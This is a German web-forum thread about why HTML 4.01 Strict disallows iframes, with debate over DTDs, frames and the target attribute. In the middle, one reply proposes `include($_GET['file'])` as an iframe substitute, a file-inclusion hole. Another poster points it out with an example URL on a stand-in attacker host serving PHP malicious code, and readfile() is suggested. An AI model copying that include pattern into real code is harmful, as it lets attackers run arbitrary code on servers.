nicht angemeldet
DTD strict vs Inline Frames
Der MartinTach die Herrn.
Daß ich gerne mit eingebetteten Frames arbeite, mag hier den ein- oder anderen irritieren, ist aber eine unabänderliche Tatsache. Dabei stellt sich für mich allerdings folgendes Problem: "DTD HTML 4.01 strict" mag keine Inline Frames!
Der W3C Validator meldet:
"Element "IFRAME" undefined. You have used the element named above in your document, but the document type you are using does not define an element of that name. This error is often caused by: incorrect use of the "Strict" document type with a document that uses frames (e.g. you must use the "Frameset" document type to get the "<frameset>" element)."
Eine "DTD HTML 4.01 Frameset" macht natürlich auch keinen Sinn, da es sich im Falle von eingebetteten Frames ja um kein Frameset handelt und wie auch nicht anders zu erwarten das Body-Tag moniert wird:
"Document type does not allow element "BODY" here".
Ergo bleibt mir nichts anderes übrig als weiterhin auf der Transitional-Schiene zu fahren. Falls nun aber tatsächlich irgendwann einmal die Unterstützung für diese "Übergangs- DTD" eingestellt werden sollte, bedeutet dies dann, daß meine liebgewonnene Spielerei gleich mit über die Wupper geht, oder anders formuliert: Warum mag striktes HTML keine Iframes !?
Gruß Wastl
-
Hallo,
Daß ich gerne mit eingebetteten Frames arbeite, mag hier den ein- oder anderen irritieren, ist aber eine unabänderliche Tatsache.
Wenn du PHP und include kennst, wird sich das wahrscheinlich schneller ändern als dir lieb ist ;-)
Dabei stellt sich für mich allerdings folgendes Problem: "DTD HTML 4.01 strict" mag keine Inline Frames!
Ergo bleibt mir nichts anderes übrig als weiterhin auf der Transitional-Schiene zu fahren. Falls nun aber tatsächlich irgendwann einmal die Unterstützung für diese "Übergangs- DTD" eingestellt werden sollte, bedeutet dies dann, daß meine liebgewonnene Spielerei gleich mit über die Wupper geht, oder anders formuliert: Warum mag striktes HTML keine Iframes !?
Weil Frames halt nur Nachteile bringen.
statt iframes könnte man aber auch Objekte verwenden. Leider kannst du deren Inhalt AFAIK aber nicht mit einem Link austauschen (aber target ist ja ebenfalls deprecated, von daher dürfte das keine Rolle spielen).Wenn du PHP und includes verwenden würdest, könntest du den Inhalt einfach über get-Variablen austauschen und der Nutzer wäre die lästigen Scrollbalken los.
mfg. Daniel
-
Hallo !
Was ich brauche ist ein vertikal scrollbarer Bereich innerhalb eines Dokuments, der sich über Links ansteuern läßt. Wenn das mit PHP funktioniert solls mir recht sein. Hab sowas allerdings noch nirgends gefunden ...
Gruß Wastl-
Hallo,
Was ich brauche ist ein vertikal scrollbarer Bereich innerhalb eines Dokuments,
Auch wenn ich sowas doof finde ;-) - http://de.selfhtml.org/css/eigenschaften/positionierung.htm#overflow@title=overflow:auto sollte dafür ausreichen.
der sich über Links ansteuern läßt. Wenn das mit PHP funktioniert solls mir recht sein.
Hier bietet sich die Verwendung von get-Variablen an. Das hat im Gegensatz zu iframes dann sogar den Vorteil, dass du Links auch auf Unterseiten setzen kannst.
Schreibe, an die Stelle, an der sich z.Zt. der iframe befindet also einfach
<?php if (isset($_GET["file"])) include ($_GET["file"]) else include "Startseite.inc" ?>Dieses Script referenziert dann sozusagen entweder die Get-Variable oder lädt deine Startseite in den pseudo-iframe.
Um eine neue Datei in eben diesen pseudo-iframe zu laden, musst du dann solche Verweise erstellen: „?file=iframeinhalt.inc“.Beachten solltest du aber, dass diese Datei dann nur Inhalt haben darf. Also weder doctype, noch <head> oder <body>, da der Browser ja schließlich nur _eine_ Datei zugeschickt bekommt.
Ich halte diese Methode jedenfalls für die sauberste, da der Browser dann keine iframes beherrschen muss und du die Datei direkt ansteuern kannst, ohne dass das Menü fehlt und so…
mfg. Daniel
-
Moin!
Schreibe, an die Stelle, an der sich z.Zt. der iframe befindet also einfach
<?php
if (isset($_GET["file"]))
include ($_GET["file"])
else
include "Startseite.inc"
?>Wenn du möchtest, dass beliebiger externer Code ausgeführt werden soll, dann kannst du das natürlich so machen. Denk einfach nur folgendes Szenario: allow\_url\_fopen = true, $\_GET['file'] = "http://evilserver.example.com/evilscript.txt" und in dieser Datei steht dann PHP-Schadcode. - Sven Rautenberg -- "Love your nation - respect the others."-
Hallo,
Schreibe, an die Stelle, an der sich z.Zt. der iframe befindet also einfach
<?php
if (isset($_GET["file"]))
include ($_GET["file"])
else
include "Startseite.inc"
?>> > Wenn du möchtest, dass beliebiger externer Code ausgeführt werden soll, dann kannst du das natürlich so machen. > > Denk einfach nur folgendes Szenario: allow\_url\_fopen = true, $\_GET['file'] = "http://evilserver.example.com/evilscript.txt" und in dieser Datei steht dann PHP-Schadcode. Hm, daran hatte ich gar nicht gedacht :-( Vielleicht sollte man zuerst mit regulären Ausdrücken prüfen, ob der String kein „http:“ oder so hat… Alternativ: Kann man PHP sagen, dann er die includete Datei nicht ausführen soll? Also einfach nur als HTML einfügen und alle <?php … ?> ignorieren? mfg. Daniel -- [Experten raten von der Verwendung des Internet Explorers ab!](http://web.oesterchat.com/internet-explorer/) [Mein SELF-stylesheet](http://danielrichter.da.funpic.de/SELFForumsCSS.html) | [Darum Firefox!](http://www.firefox-love.de/) [Selfcode](http://forum.de.selfhtml.org/cgi-bin/selfcode.pl): [ie:{ fl:| br:> va:| ls:# fo:| rl:( n4:# ss:{ de:> js:| ch:? mo:) zu:}](http://www.peter.in-berlin.de/projekte/selfcode/?code=ie%3A%7B+fl%3A%7C+br%3A%3E+va%3A%7C+ls%3A%23+fo%3A%7C+rl%3A%28+n4%3A%23+ss%3A%7B+de%3A%3E+js%3A%7C+ch%3A%3F+mo%3A%29+zu%3A%7D)-
Hi,
Alternativ:
Kann man PHP sagen, dann er die includete Datei nicht ausführen soll? Also einfach nur als HTML einfügen und alle <?php … ?> ignorieren?ja, indem man readfile() anstatt include() verwendet, wie das hier auch schon unzählige Male wärmstens empfohlen wurde.
So long,
Martin--
Wer morgens zerknittert aufsteht, hat den ganzen Tag Gelegenheit, sich zu entfalten.
-
-
-
-
-
-
Moin!
Ergo bleibt mir nichts anderes übrig als weiterhin auf der Transitional-Schiene zu fahren.
Ja und? Die Logik ist: In Strict ist das target-Attribut nicht mehr erlaubt, welches aber für Frames unbedingt notwendig ist. Also wozu dann noch Frames in dieser DTD?
Falls nun aber tatsächlich irgendwann einmal die Unterstützung für diese "Übergangs- DTD" eingestellt werden sollte
Wer sollte das tun? Warum?
bedeutet dies dann, daß meine liebgewonnene Spielerei gleich mit über die Wupper geht, oder anders formuliert: Warum mag striktes HTML keine Iframes !?
Würde Support für Transitional irgendwann einmal eingestellt, würde auch Support für Frames aus dem Browsern entfernt werden müssen. Wie wahrscheinlich ist das?
Oder anders herum gesagt: Was bringen dir IFrames, wenn die Browser keine IFrames mehr können würden, auch wenn du eine Strict-DTD verwendest?
- Sven Rautenberg
--
"Love your nation - respect the others."-
Tach Sven.
Und wozu dann überhaupt eine "DTD strict"? Strikter Code läuft anstandsslos genausogut unter "DTD transitional"
Und warum funktioniert unter strict das Target-Attribut nicht mehr.
Mir ist Sinn und Zweck von strict nicht klar.
Mir ist das ehrlich gesagt zu unflexibel ...Würde Support für Transitional irgendwann einmal eingestellt, würde auch Support für Frames aus dem Browsern entfernt werden müssen. Wie wahrscheinlich ist das?»»
Unter anderem wurde diese Befürchtung hier im Forum schon geäußert.
Daß nämlich eines Tages der neue Browser da ist und nicht mehr mitspielt, die sog "deprecated tags" nicht mehr interpretiert (font, center, etc). Außerdem heißt "Transition" nun mal "Übergang".Gruß Wastl
-
Moin!
Und wozu dann überhaupt eine "DTD strict"? Strikter Code läuft anstandsslos genausogut unter "DTD transitional"
Mit der Strict-DTD hat man die Möglichkeit, sicherzustellen, dass man keine mißbilligten Elemente und Attribute mehr verwendet und "sauberen" Code (im Sinne der Strict-DTD) produziert. Das ist mit Validatoren dann auch überprüfbar. Wäre "strict" nur eine Anweisung, gewisse Dinge der einzig existierenden DTD einfach nicht mehr zu benutzen - wie könnte man das prüfen, wenn es dafrür keine DTD gäbe, die ein Validator versteht?
Und warum funktioniert unter strict das Target-Attribut nicht mehr.
Weil es rausgeworfen wurde, weil das Konzept "Frames" erhebliche technische Nachteile aufweist.
Mir ist Sinn und Zweck von strict nicht klar.
Scheint so. Trotzdem willst du es verwenden. Warum?
Mir ist das ehrlich gesagt zu unflexibel ...
Es erscheint dann unflexibel, wenn man Dinge tun will, die damit nicht möglich sind, weil sie bewußt rausgestrichen wurden.
Es ist genauso mächtig und flexibel, wenn man damit Dinge tun will, die damit (und logischerweise dann auch mit Transitional, weil das eine Obermenge ist) funktionieren.
Würde Support für Transitional irgendwann einmal eingestellt, würde auch Support für Frames aus dem Browsern entfernt werden müssen. Wie wahrscheinlich ist das?»»
Unter anderem wurde diese Befürchtung hier im Forum schon geäußert.Und welche Relevanz hat diese Befürchtung angesichts der Tatsache, dass heutige Browser auch immer noch die ältesten HTML-Standards unterstützen.
- Sven Rautenberg
--
"Love your nation - respect the others." -
Hallo,
Und wozu dann überhaupt eine "DTD strict"? Strikter Code läuft anstandsslos genausogut unter "DTD transitional"
Transistional ist aufwärtskompatibel, Strict aber nicht abwärtskompatibel.
Und warum funktioniert unter strict das Target-Attribut nicht mehr.
Weil der Besucher der Webseite entscheiden soll, ob er eine Webseite im selben oder einem neuen Fenster öffnen will.
Frames haben Nachteile und zwar gewaltige. Deswegen sind sie nicht enthalten.Mir ist Sinn und Zweck von strict nicht klar.
Mir ist das ehrlich gesagt zu unflexibel ...Strict verabschiedet sich von den Altlasten, die in Transistional noch benötigt wurden, da viele zu der Zeit formatierende Tags verwendet haben.
Eigentlich sollte Transistional nie lange anhalten, da Stylesheets da waren. Hätte Microsoft mitgespielt wären heute sicher viel mehr seiten Strict geschrieben.
Würde Support für Transitional irgendwann einmal eingestellt, würde auch Support für Frames aus dem Browsern entfernt werden müssen. Wie wahrscheinlich ist das?
Unter anderem wurde diese Befürchtung hier im Forum schon geäußert.
Daß nämlich eines Tages der neue Browser da ist und nicht mehr mitspielt, die sog "deprecated tags" nicht mehr interpretiert (font, center, etc). Außerdem heißt "Transition" nun mal "Übergang".Unwahrscheinlich.
Deswegen wird Transistional nicht abgeschafft, lediglich <font> und <frame> funktionieren darin eben nicht mehr (hoffentlich).gruß, Tomas
-
-
-
Hi Wastl
Daß ich gerne mit eingebetteten Frames arbeite, mag hier den ein- oder anderen irritieren, ist aber eine unabänderliche Tatsache. Dabei stellt sich für mich allerdings folgendes Problem: "DTD HTML 4.01 strict" mag keine Inline Frames!
Der offizielle strict Standard ist halt wie er ist, halbherzig und teilweise an der Praxis vorbei. Nimm einfach die Frameset-DTD, daran wirst weder du, noch deine Besucher ernsthaft Schaden nehmen, und es ist auch nicht zu befürchten, daß IE, Firefox, Opera & Co demnächst keine Iframes mehr kennen werden.
Oder noch eleganter: du verwendest gar keine public-DTD, sondern eine eigene, die auf der strict-DTD basiert, aber die du um die Definitionen für iframe, target und was du sonst noch brauchst erweiterst. Das ist sowohl nach SGML als auch nach XML ganz legal :-)Gruß Aristo
-
Moin!
Nimm einfach die Frameset-DTD,
...die falsche Wahl! Schließlich geht es hier nicht um ein Frameset, sondern um ein IFrame.
- Sven Rautenberg
--
"Love your nation - respect the others."-
Hi Sven,
...die falsche Wahl! Schließlich geht es hier nicht um ein Frameset, sondern um ein IFrame.
Stimmt - iframe erfordert die Transitional-DTD, hab selber noch mal nachgesehen.
Gruß Aristo
-
-
hi,
Der offizielle strict Standard ist halt wie er ist, halbherzig und teilweise an der Praxis vorbei.
Begründung?
Oder noch eleganter: du verwendest gar keine public-DTD, sondern eine eigene, die auf der strict-DTD basiert, aber die du um die Definitionen für iframe, target und was du sonst noch brauchst erweiterst. Das ist sowohl nach SGML als auch nach XML ganz legal :-)
Ja, aber dann kein HTML mehr.
gruß,
wahsaga--
/voodoo.css:
#GeorgeWBush { position:absolute; bottom:-6ft; }-
Hi wahsaga,
Begründung?
zu viel für ein Posting. Beispiele: mal ist width und height deprecated, ein andermal nicht. s und u sind deprecated, b und i sind es nicht. Es gibt viele solcher Beispiele, die ziemlich willkürlich sind.
Ja, aber dann kein HTML mehr.
Warum nicht? Wenn in der DTD steht, dass die Sprache HTML heisst, dann ist es HTML.
Gruß Aristo
-
hi,
Ja, aber dann kein HTML mehr.
Warum nicht? Wenn in der DTD steht, dass die Sprache HTML heisst, dann ist es HTML.
Klar, und wenn du auf einen alten Golf einen Mercedesstern draufklebst, verkaufst du ihn auch als Benz.
gruß,
wahsaga--
/voodoo.css:
#GeorgeWBush { position:absolute; bottom:-6ft; }-
Hi wahsaga,
Klar, und wenn du auf einen alten Golf einen Mercedesstern draufklebst, verkaufst du ihn auch als Benz.
Nicht alles, was hinkt, ist ein Vergleich: wenn da steht:
<!DOCTYPE HTML SYSTEM ...>
^^^^
Dann ist es HTML nach den Regeln des Markupdesigns. Oder ist für dich etwa HTML nur das, was irgendein durch Browserhersteller und Industriekonsortium manifestierter Status quo ist?Gruß Aristo
-
hi,
Oder ist für dich etwa HTML nur das, was irgendein durch Browserhersteller und Industriekonsortium manifestierter Status quo ist?
Die Entwicklung von HTML 4.01 und XHTML 1.0 ist abgeschlossen.
Durch eigene Hinzufügungen machst du daraus irgendwas, was vielleicht große Ähnlichkeit haben mag, aber nicht diesen definierten Standards entspricht.gruß,
wahsaga--
/voodoo.css:
#GeorgeWBush { position:absolute; bottom:-6ft; }-
Hi wahsaga,
Die Entwicklung von HTML 4.01 und XHTML 1.0 ist abgeschlossen.
Durch eigene Hinzufügungen machst du daraus irgendwas, was vielleicht große Ähnlichkeit haben mag, aber nicht diesen definierten Standards entspricht.Mir ist schon klar, was du meinst. Vom "public point of view" her hast du auch völlig Recht. Man sollte aber in Fällen, wo ein Konflikt zwischen Wunsch nach Standardkonformität und defacto-Standard besteht, ruhig mal darauf hinweisen, dass es völlig legitim ist, sich HTML auf DTD-Ebene zurechtzubiegen.
Gruß Aristo
-
Hallo,
Mir ist schon klar, was du meinst. Vom "public point of view" her hast du auch völlig Recht. Man sollte aber in Fällen, wo ein Konflikt zwischen Wunsch nach Standardkonformität und defacto-Standard besteht, ruhig mal darauf hinweisen, dass es völlig legitim ist, sich HTML auf DTD-Ebene zurechtzubiegen.
Dann gerätst du aber möglicherweise sehr schnell in Probleme mit den Browsern, da die wenigsten eine DTD laden und danach Validieren. Müssen sie z.B. bei HTML auch nicht, da die Regeln dafür klar definiert sind.
Wenn du jetzt meinst sagen zu können dieses und jedes umschreibst du etwas anders, wundere dich nicht, wenns dann nicht klappt.Gruß, Daniel
-
-
-
-
-
-
-
-
Lange Rede, kurzer Sinn:
Ich hab nichts gegen "sauberen, strikten Code", möchte dabei aber auf meine liebgewonnenn "Ostereier" nicht verzichten.
Wer die Frame-Spielereien - weil wie auch immer problembelastet - nicht einsetzen möchte, soll sie halt weglassen. Was mich nervt ist die Einschränkung, die eine Strict-Codierung den Nutzern auferlegt.
Gruß Wastl-
hi,
Wer die Frame-Spielereien - weil wie auch immer problembelastet - nicht einsetzen möchte, soll sie halt weglassen. Was mich nervt ist die Einschränkung, die eine Strict-Codierung den Nutzern auferlegt.
Wenn du kein Strict verwenden willst, dann verwende kein Strict.
Was nervt, sind die Leute, die Strict wollen, aber doch kein Strict wollen.gruß,
wahsaga--
/voodoo.css:
#GeorgeWBush { position:absolute; bottom:-6ft; } -
Frame-Spielereien […] Was mich nervt ist die Einschränkung, die eine Strict-Codierung den Nutzern auferlegt.
Du bist Baumeister und willst ein tolles Öko-Haus verkaufen, das strengsten Normen unterliegt. Das ist löblich. Dann beschließt du, dass es ganz nett wäre, in den Boden der Badewanne eine Starkstromdose zu montieren und störst dich daran, dass das bei der Abnahme nicht durchgeht? Nimm ein Vollbad, Schaumschläger. :-)
Roland
-
Hallo,
Ich hab nichts gegen "sauberen, strikten Code", möchte dabei aber auf meine liebgewonnenn "Ostereier" nicht verzichten.
Vielleicht möchte der Benutzer deiner Seite aber genau das!
Wer die Frame-Spielereien - weil wie auch immer problembelastet - nicht einsetzen möchte, soll sie halt weglassen. Was mich nervt ist die Einschränkung, die eine Strict-Codierung den Nutzern auferlegt.
Strict ist für, nicht gegen Nutzer.
Ich finde es immer wieder belästigend, wenn ein sog. "Webdesigner" meint mir vorschreiben zu müssen, Links in einem neuen Fenster aufzumachen.
Um speziell auf Frames einzugehen: Frames haben für den gemeinen Benutzer einige Nachteile, die sich auch im Zusammenhang mit Suchmaschienen ergeben. Von daher kann man von ihrer Nutzung nur strikt (da ist das Wort wieder) abraten.Gruß, Daniel
-
